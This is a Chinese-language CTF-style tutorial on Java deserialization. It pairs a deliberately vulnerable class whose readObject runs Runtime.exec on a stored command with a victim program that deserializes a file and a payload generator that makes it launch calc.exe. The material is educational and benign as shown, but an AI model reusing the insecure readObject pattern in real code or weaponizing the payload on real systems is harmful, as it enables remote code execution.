ctf-web: 简单java反序列化示例
考虑如下易受到攻击的类
import java.io.*;
// 这是一个可序列化的类,它的 readObject 方法被重写以执行危险操作
public class VulnerableObject implements Serializable {
private String command;
// 构造函数接受一个命令
public VulnerableObject(String command) {
this.command = command;
}
// 关键漏洞点:重写 readObject 方法,在反序列化时执行命令
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 默认反序列化逻辑
try {
// 直接执行命令(实际漏洞中不会如此明显,这里为了教学简化)
Runtime.getRuntime().exec(this.command);
} catch (Exception e) {
e.printStackTrace();
}
}
}
这个类实现了readObject
方法
readObject
是 Java 中用于反序列化对象的方法。它是 ObjectInputStream
类的一部分,用于从流中读取对象的状态并重构对象。
在 Java 中,序列化(Serialization)是指将对象的状态转换为字节流的过程,反序列化(Deserialization)则是指将字节流转换回对象的过程。readObject
方法在反序列化过程中起到了关键作用。
以下是 readObject
方法的一些关键点:
-
方法签名:
private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
readObject
是一个私有方法,通常在类的内部实现,用于自定义反序列化的过程。 -
默认实现:
如果没有在类中显式定义readObject
方法,Java 将使用默认的反序列化机制。这意味着对象的所有非瞬态(non-transient)字段都将从流中读取并赋值给对象。 -
自定义反序列化:
如果需要自定义反序列化过程,可以在类中定义readObject
方法。例如,可以在读取对象的字段之前或之后执行额外的逻辑。private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException { stream.defaultReadObject(); // 调用默认的反序列化过程 // 自定义反序列化逻辑 }
-
例子:
以下是一个简单的例子,展示了如何使用readObject
方法。import java.io.*; public class Person implements Serializable { private String name; private transient int age; // 这个字段不会被序列化 public Person(String name, int age) { this.name = name; this.age = age; } private void writeObject(ObjectOutputStream stream) throws IOException { stream.defaultWriteObject(); stream.writeInt(age); // 手动序列化 age 字段 } private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException { stream.defaultReadObject(); age = stream.readInt(); // 手动反序列化 age 字段 } @Override public String toString() { return "Person{name='" + name + "', age=" + age + "}"; } public static void main(String[] args) throws IOException, ClassNotFoundException { Person person = new Person("Alice", 30); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(person); // 反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Person deserializedPerson = (Person) ois.readObject(); System.out.println(deserializedPerson); } }
在这个例子中,
Person
类实现了序列化和反序列化的自定义逻辑。虽然age
字段被声明为transient
,它仍然通过自定义的writeObject
和readObject
方法被序列化和反序列化。
形象的来说,被实现的 readObject
方法相当于php的 weakup__
,会在类被序列化完成后进一步对类操作
假设客户端代码是这样的
import java.io.*;
public class VictimApp {
public static void main(String[] args) throws Exception {
// 从文件加载并反序列化对象(模拟接收外部数据)
try (FileInputStream fis = new FileInputStream("payload.bin");
ObjectInputStream ois = new ObjectInputStream(fis)) {
// 反序列化触发漏洞!
Object obj = ois.readObject();
}
}
}
我们可以写出利用代码
import java.io.*;
public class GeneratePayload {
public static void main(String[] args) throws Exception {
// 1. 创建恶意对象:反序列化时执行 "calc.exe"(启动计算器)
VulnerableObject payload = new VulnerableObject("calc.exe");
// 2. 将对象序列化到文件
try (FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(payload);
System.out.println("恶意序列化数据已生成:payload.bin");
}
}
}